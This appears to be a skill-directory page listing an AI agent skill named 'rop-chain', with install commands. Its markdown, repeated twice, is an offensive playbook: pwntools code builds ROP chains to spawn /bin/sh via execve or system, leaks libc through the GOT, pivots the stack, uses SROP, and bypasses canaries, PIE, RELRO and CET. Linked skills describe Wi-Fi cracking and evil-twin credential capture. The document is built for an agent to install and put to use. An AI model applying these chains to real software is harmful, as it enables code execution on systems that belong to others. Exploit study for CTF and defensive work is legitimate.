[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M770R5K5Y2W2XFEN4DXBTMB7":3,"skill-same:01M770R5K5Y2W2XFEN4DXBTMB7":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M770R5K5Y2W2XFEN4DXBTMB7","rop-chain",null,"ROP\u002FJOP gadget hunting and exploit-chain construction — for NX\u002FDEP bypass on x86\u002Fx64\u002FARM binaries.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Freverser\u002Frop-chain\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: rop-chain\ndescription: ROP\u002FJOP gadget hunting and exploit-chain construction — for NX\u002FDEP bypass on x86\u002Fx64\u002FARM binaries.\nmetadata:\n  subdomain: reverse-engineering\n  when_to_use: \"rop jop chain return oriented programming gadget pwntools nx dep bypass x86 x64 arm\"\n  mitre_attack:\n    - T1203\n    - T1055\n---\n\n# ROP Chain Construction Playbook\n\nROP (Return-Oriented Programming) and JOP (Jump-Oriented) repurpose\nexisting code fragments (\"gadgets\") ending in `ret` \u002F `jmp \u003Creg>` to\nbuild arbitrary computation without injecting code. Required when NX\u002FDEP\nprevents shellcode execution.\n\n## 1. Inventory mitigations\nBefore building the chain, know what protections you face:\n```bash\nchecksec --file=\u002Ftmp\u002Fbinary\n# Or\npwn checksec \u002Ftmp\u002Fbinary\n```\nOutput flags:\n- **NX**: stack non-executable → ROP needed\n- **PIE**: position-independent → need leak first\n- **RELRO** (partial\u002Ffull): GOT writable \u002F read-only\n- **Canary**: stack-cookie → leak\u002Fbypass needed\n- **ASLR**: addresses randomized → leak needed for libc\u002FPIE\n\n## 2. Gadget discovery\n```bash\n# ROPgadget (most common)\nROPgadget --binary \u002Ftmp\u002Fbinary --depth 8 > \u002Ftmp\u002Fgadgets.txt\n\n# Filter useful ones\ngrep ': pop rdi ; ret$' \u002Ftmp\u002Fgadgets.txt    # syscall arg1 setup\ngrep ': pop rsi ; ret$' \u002Ftmp\u002Fgadgets.txt    # syscall arg2 setup\ngrep ': pop rdx ; ret$' \u002Ftmp\u002Fgadgets.txt    # arg3\ngrep ': syscall ; ret$' \u002Ftmp\u002Fgadgets.txt    # syscall instruction\ngrep ': ret$' \u002Ftmp\u002Fgadgets.txt | head       # bare ret (stack alignment)\n\n# Alternative: ropper\nropper --file \u002Ftmp\u002Fbinary --search 'pop rdi'\nropper --file \u002Ftmp\u002Fbinary --search 'syscall'\n\n# Alternative: one_gadget for libc one-shot RCE\none_gadget \u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\n```\n\n## 3. Common chain patterns\n\n### Direct execve(\"\u002Fbin\u002Fsh\") via syscall (x86_64)\n```python\nfrom pwn import *\n\n# Gadgets from \u002Ftmp\u002Fbinary\nPOP_RDI = 0x4011a3       # pop rdi ; ret\nPOP_RSI = 0x4011a1       # pop rsi ; ret\nPOP_RDX = 0x4011a5       # pop rdx ; ret\nPOP_RAX = 0x4011a7       # pop rax ; ret\nSYSCALL = 0x4011a9       # syscall ; ret\n\n# Target\nBIN_SH  = 0x404060       # writeable .bss for \"\u002Fbin\u002Fsh\\x00\"\n\nchain = b''\n# write \"\u002Fbin\u002Fsh\\0\" to BIN_SH\nchain += p64(POP_RAX) + p64(0x68732f6e69622f)  # \u002Fbin\u002Fsh in little-endian, no null at end\nchain += p64(POP_RDI) + p64(BIN_SH)\n# stos or mov [rdi], rax — need gadget\n# (this needs more gadgets, see \"write-what-where\" section below)\n\n# execve(BIN_SH, NULL, NULL)\nchain += p64(POP_RAX) + p64(0x3b)    # SYS_execve = 59\nchain += p64(POP_RDI) + p64(BIN_SH)\nchain += p64(POP_RSI) + p64(0)\nchain += p64(POP_RDX) + p64(0)\nchain += p64(SYSCALL)\n```\n\n### Via libc (if libc address leaked)\n```python\n# Easier — call system(\"\u002Fbin\u002Fsh\") in libc\nlibc_base = leaked_libc_addr - libc.symbols.puts   # offset from puts to base\n\nchain = b''\nchain += p64(POP_RDI) + p64(libc_base + next(libc.search(b'\u002Fbin\u002Fsh')))\nchain += p64(libc_base + libc.symbols['system'])\n# Some systems need a ret-aligning gadget for stack alignment before system\nchain = p64(RET_GADGET) + chain\n```\n\n### `one_gadget` (if conditions met)\n`one_gadget` finds libc addresses that call execve(\"\u002Fbin\u002Fsh\") with one\njump, no setup. Constraints (e.g. `[rsp+0x70] == NULL`) must be met:\n```bash\none_gadget libc.so.6\n# 0x4527a constraints: ...\n# 0xf03a4 constraints: ...\n```\nPick the constraint that matches the state at your return point.\n\n## 4. Write-what-where (when no leak available initially)\n\nIf you can't read libc directly:\n1. Find `puts@plt` in the binary\n2. Build a chain that calls `puts(puts_got)` — leaks libc's `puts` address\n3. Compute libc base from that\n4. Return to `main` (or any function that re-runs your chain) and now build the real execve chain\n\n```python\nputs_plt = elf.plt['puts']\nputs_got = elf.got['puts']\nmain     = elf.symbols['main']\n\nleak_chain  = p64(POP_RDI) + p64(puts_got)\nleak_chain += p64(puts_plt)\nleak_chain += p64(main)  # restart so we can re-input\n```\n\n## 5. Modern bypass techniques\n\n### Stack pivoting\nWhen buffer overflow is small, pivot to a controlled larger region:\n```python\n# Gadgets needed\nPOP_RBP = 0x...           # pop rbp ; ret\nLEAVE_RET = 0x...         # mov rsp, rbp; pop rbp; ret\n\n# Pivot to attacker-controlled buffer\nchain = p64(LARGE_BUFFER - 8) + p64(LEAVE_RET)\n```\n\n### Sigreturn-Oriented Programming (SROP)\nFew gadgets available? SROP uses `rt_sigreturn` syscall to restore full\nCPU state from a sigframe on the stack — sets every register at once:\n```python\nframe = SigreturnFrame()\nframe.rax = 0x3b\nframe.rdi = bin_sh\nframe.rsi = 0\nframe.rdx = 0\nframe.rip = SYSCALL\nchain = p64(POP_RAX) + p64(0xf) + p64(SYSCALL) + bytes(frame)\n```\n\n### JOP (Jump-Oriented)\nWhen ret-poisoning is hardened (CET \u002F shadow stack), use `jmp` gadgets:\n```bash\nROPgadget --binary \u002Ftmp\u002Fbin --jop\n```\nPattern: dispatcher gadget calls each functional gadget via register.\nHarder to construct; rare in CTF, occasional in real exploits.\n\n## 6. Mitigation specifics\n\n### Stack canary\nNeed to leak it first. Patterns:\n- Format string vuln reads canary\n- Read primitive (e.g. arbitrary read via uninit pointer) leaks it\n- Fork-server target: canary identical across fork children → brute byte-by-byte\n\n### PIE\nNeed to leak any function address in main binary → compute base. Often\nvia puts\u002Fprintf of a stack variable that contains a ret addr.\n\n### Full RELRO\nGOT read-only → can't GOT-overwrite. ROP must use direct syscalls or\nlibc functions via leaked base.\n\n### CET \u002F shadow stack\nROP gadgets ending in `ret` get blocked at return. Mitigations:\n- Use `ENDBR64`-prefixed gadgets (JOP-style)\n- Use syscalls that don't return (`execve`)\n- Bypass via CET-disable techniques where possible\n\n## 7. Promote (knowledge graph)\n```\nkg_add_node(kind=\"exploit_chain\", label=\"ROP: BOF → execve\",\n            props={\"target\":\"\u003Cbinary>\",\"gadget_count\":\u003Cn>,\"libc_required\":\u003Cbool>})\nkg_add_edge(src=\u003Cvuln:BOF>, dst=\u003Cexploit_chain>, kind=\"enables\")\nkg_add_edge(src=\u003Cexploit_chain>, dst=\u003Ccrown_jewel:shell>, kind=\"achieves\")\n```\n\n## CVSS\n- Working RCE chain: 9.8-10.0 (network-reachable)\n- Chain requires local interaction: 7-8\n- ASLR-defeating chain reliable across runs: 10.0\n- One-shot one_gadget exploit: 9.8\n\n## Tooling cheat sheet\n\n| Tool | Use for |\n|---|---|\n| `ROPgadget` | Linux\u002Fx86 gadget enum |\n| `ropper` | Multi-arch gadgets, search syntax |\n| `pwntools` `ROP()` class | Chain assembly in Python |\n| `one_gadget` | Libc one-shot RCE |\n| `angr` | Symbolic gadget chain finding |\n| `Ropium` | Automated ROP chain synthesis |\n| `pwntools-tubes` | Remote interaction harness |\n| `pwndbg` \u002F `gef` (gdb plugins) | Live debugging w\u002F ROP helpers |\n| `r2pipe` | Programmatic radare2 from Python |\n\n## Known exemplars (CTF + real)\n- Most CTF pwn challenges from medium+: classic ROP\n- Real CVE-2017-7494 (SambaCry): no ROP, but reused techniques\n- CVE-2014-0160 (Heartbleed): leak primitive used to defeat ASLR\n- Windows kernel exploits w\u002F HEVD: kernel ROP for SMEP bypass\n- iOS jailbreaks: heavy use of JOP due to PAC + KTRR\n","# ROP Chain Construction Playbook\n\nROP (Return-Oriented Programming) and JOP (Jump-Oriented) repurpose\nexisting code fragments (\"gadgets\") ending in `ret` \u002F `jmp \u003Creg>` to\nbuild arbitrary computation without injecting code. Required when NX\u002FDEP\nprevents shellcode execution.\n\n## 1. Inventory mitigations\nBefore building the chain, know what protections you face:\n```bash\nchecksec --file=\u002Ftmp\u002Fbinary\n# Or\npwn checksec \u002Ftmp\u002Fbinary\n```\nOutput flags:\n- **NX**: stack non-executable → ROP needed\n- **PIE**: position-independent → need leak first\n- **RELRO** (partial\u002Ffull): GOT writable \u002F read-only\n- **Canary**: stack-cookie → leak\u002Fbypass needed\n- **ASLR**: addresses randomized → leak needed for libc\u002FPIE\n\n## 2. Gadget discovery\n```bash\n# ROPgadget (most common)\nROPgadget --binary \u002Ftmp\u002Fbinary --depth 8 > \u002Ftmp\u002Fgadgets.txt\n\n# Filter useful ones\ngrep ': pop rdi ; ret$' \u002Ftmp\u002Fgadgets.txt    # syscall arg1 setup\ngrep ': pop rsi ; ret$' \u002Ftmp\u002Fgadgets.txt    # syscall arg2 setup\ngrep ': pop rdx ; ret$' \u002Ftmp\u002Fgadgets.txt    # arg3\ngrep ': syscall ; ret$' \u002Ftmp\u002Fgadgets.txt    # syscall instruction\ngrep ': ret$' \u002Ftmp\u002Fgadgets.txt | head       # bare ret (stack alignment)\n\n# Alternative: ropper\nropper --file \u002Ftmp\u002Fbinary --search 'pop rdi'\nropper --file \u002Ftmp\u002Fbinary --search 'syscall'\n\n# Alternative: one_gadget for libc one-shot RCE\none_gadget \u002Flib\u002Fx86_64-linux-gnu\u002Flibc.so.6\n```\n\n## 3. Common chain patterns\n\n### Direct execve(\"\u002Fbin\u002Fsh\") via syscall (x86_64)\n```python\nfrom pwn import *\n\n# Gadgets from \u002Ftmp\u002Fbinary\nPOP_RDI = 0x4011a3       # pop rdi ; ret\nPOP_RSI = 0x4011a1       # pop rsi ; ret\nPOP_RDX = 0x4011a5       # pop rdx ; ret\nPOP_RAX = 0x4011a7       # pop rax ; ret\nSYSCALL = 0x4011a9       # syscall ; ret\n\n# Target\nBIN_SH  = 0x404060       # writeable .bss for \"\u002Fbin\u002Fsh\\x00\"\n\nchain = b''\n# write \"\u002Fbin\u002Fsh\\0\" to BIN_SH\nchain += p64(POP_RAX) + p64(0x68732f6e69622f)  # \u002Fbin\u002Fsh in little-endian, no null at end\nchain += p64(POP_RDI) + p64(BIN_SH)\n# stos or mov [rdi], rax — need gadget\n# (this needs more gadgets, see \"write-what-where\" section below)\n\n# execve(BIN_SH, NULL, NULL)\nchain += p64(POP_RAX) + p64(0x3b)    # SYS_execve = 59\nchain += p64(POP_RDI) + p64(BIN_SH)\nchain += p64(POP_RSI) + p64(0)\nchain += p64(POP_RDX) + p64(0)\nchain += p64(SYSCALL)\n```\n\n### Via libc (if libc address leaked)\n```python\n# Easier — call system(\"\u002Fbin\u002Fsh\") in libc\nlibc_base = leaked_libc_addr - libc.symbols.puts   # offset from puts to base\n\nchain = b''\nchain += p64(POP_RDI) + p64(libc_base + next(libc.search(b'\u002Fbin\u002Fsh')))\nchain += p64(libc_base + libc.symbols['system'])\n# Some systems need a ret-aligning gadget for stack alignment before system\nchain = p64(RET_GADGET) + chain\n```\n\n### `one_gadget` (if conditions met)\n`one_gadget` finds libc addresses that call execve(\"\u002Fbin\u002Fsh\") with one\njump, no setup. Constraints (e.g. `[rsp+0x70] == NULL`) must be met:\n```bash\none_gadget libc.so.6\n# 0x4527a constraints: ...\n# 0xf03a4 constraints: ...\n```\nPick the constraint that matches the state at your return point.\n\n## 4. Write-what-where (when no leak available initially)\n\nIf you can't read libc directly:\n1. Find `puts@plt` in the binary\n2. Build a chain that calls `puts(puts_got)` — leaks libc's `puts` address\n3. Compute libc base from that\n4. Return to `main` (or any function that re-runs your chain) and now build the real execve chain\n\n```python\nputs_plt = elf.plt['puts']\nputs_got = elf.got['puts']\nmain     = elf.symbols['main']\n\nleak_chain  = p64(POP_RDI) + p64(puts_got)\nleak_chain += p64(puts_plt)\nleak_chain += p64(main)  # restart so we can re-input\n```\n\n## 5. Modern bypass techniques\n\n### Stack pivoting\nWhen buffer overflow is small, pivot to a controlled larger region:\n```python\n# Gadgets needed\nPOP_RBP = 0x...           # pop rbp ; ret\nLEAVE_RET = 0x...         # mov rsp, rbp; pop rbp; ret\n\n# Pivot to attacker-controlled buffer\nchain = p64(LARGE_BUFFER - 8) + p64(LEAVE_RET)\n```\n\n### Sigreturn-Oriented Programming (SROP)\nFew gadgets available? SROP uses `rt_sigreturn` syscall to restore full\nCPU state from a sigframe on the stack — sets every register at once:\n```python\nframe = SigreturnFrame()\nframe.rax = 0x3b\nframe.rdi = bin_sh\nframe.rsi = 0\nframe.rdx = 0\nframe.rip = SYSCALL\nchain = p64(POP_RAX) + p64(0xf) + p64(SYSCALL) + bytes(frame)\n```\n\n### JOP (Jump-Oriented)\nWhen ret-poisoning is hardened (CET \u002F shadow stack), use `jmp` gadgets:\n```bash\nROPgadget --binary \u002Ftmp\u002Fbin --jop\n```\nPattern: dispatcher gadget calls each functional gadget via register.\nHarder to construct; rare in CTF, occasional in real exploits.\n\n## 6. Mitigation specifics\n\n### Stack canary\nNeed to leak it first. Patterns:\n- Format string vuln reads canary\n- Read primitive (e.g. arbitrary read via uninit pointer) leaks it\n- Fork-server target: canary identical across fork children → brute byte-by-byte\n\n### PIE\nNeed to leak any function address in main binary → compute base. Often\nvia puts\u002Fprintf of a stack variable that contains a ret addr.\n\n### Full RELRO\nGOT read-only → can't GOT-overwrite. ROP must use direct syscalls or\nlibc functions via leaked base.\n\n### CET \u002F shadow stack\nROP gadgets ending in `ret` get blocked at return. Mitigations:\n- Use `ENDBR64`-prefixed gadgets (JOP-style)\n- Use syscalls that don't return (`execve`)\n- Bypass via CET-disable techniques where possible\n\n## 7. Promote (knowledge graph)\n```\nkg_add_node(kind=\"exploit_chain\", label=\"ROP: BOF → execve\",\n            props={\"target\":\"\u003Cbinary>\",\"gadget_count\":\u003Cn>,\"libc_required\":\u003Cbool>})\nkg_add_edge(src=\u003Cvuln:BOF>, dst=\u003Cexploit_chain>, kind=\"enables\")\nkg_add_edge(src=\u003Cexploit_chain>, dst=\u003Ccrown_jewel:shell>, kind=\"achieves\")\n```\n\n## CVSS\n- Working RCE chain: 9.8-10.0 (network-reachable)\n- Chain requires local interaction: 7-8\n- ASLR-defeating chain reliable across runs: 10.0\n- One-shot one_gadget exploit: 9.8\n\n## Tooling cheat sheet\n\n| Tool | Use for |\n|---|---|\n| `ROPgadget` | Linux\u002Fx86 gadget enum |\n| `ropper` | Multi-arch gadgets, search syntax |\n| `pwntools` `ROP()` class | Chain assembly in Python |\n| `one_gadget` | Libc one-shot RCE |\n| `angr` | Symbolic gadget chain finding |\n| `Ropium` | Automated ROP chain synthesis |\n| `pwntools-tubes` | Remote interaction harness |\n| `pwndbg` \u002F `gef` (gdb plugins) | Live debugging w\u002F ROP helpers |\n| `r2pipe` | Programmatic radare2 from Python |\n\n## Known exemplars (CTF + real)\n- Most CTF pwn challenges from medium+: classic ROP\n- Real CVE-2017-7494 (SambaCry): no ROP, but reused techniques\n- CVE-2014-0160 (Heartbleed): leak primitive used to defeat ASLR\n- Windows kernel exploits w\u002F HEVD: kernel ROP for SMEP bypass\n- iOS jailbreaks: heavy use of JOP due to PAC + KTRR\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27},"reverse-engineering","rop jop chain return oriented programming gadget pwntools nx dep bypass x86 x64 arm",[28,29],"T1203","T1055","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Freverser\u002Frop-chain","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill rop-chain",{"tool":42,"command":43},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill rop-chain",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill rop-chain","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Freverser\u002Frop-chain\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]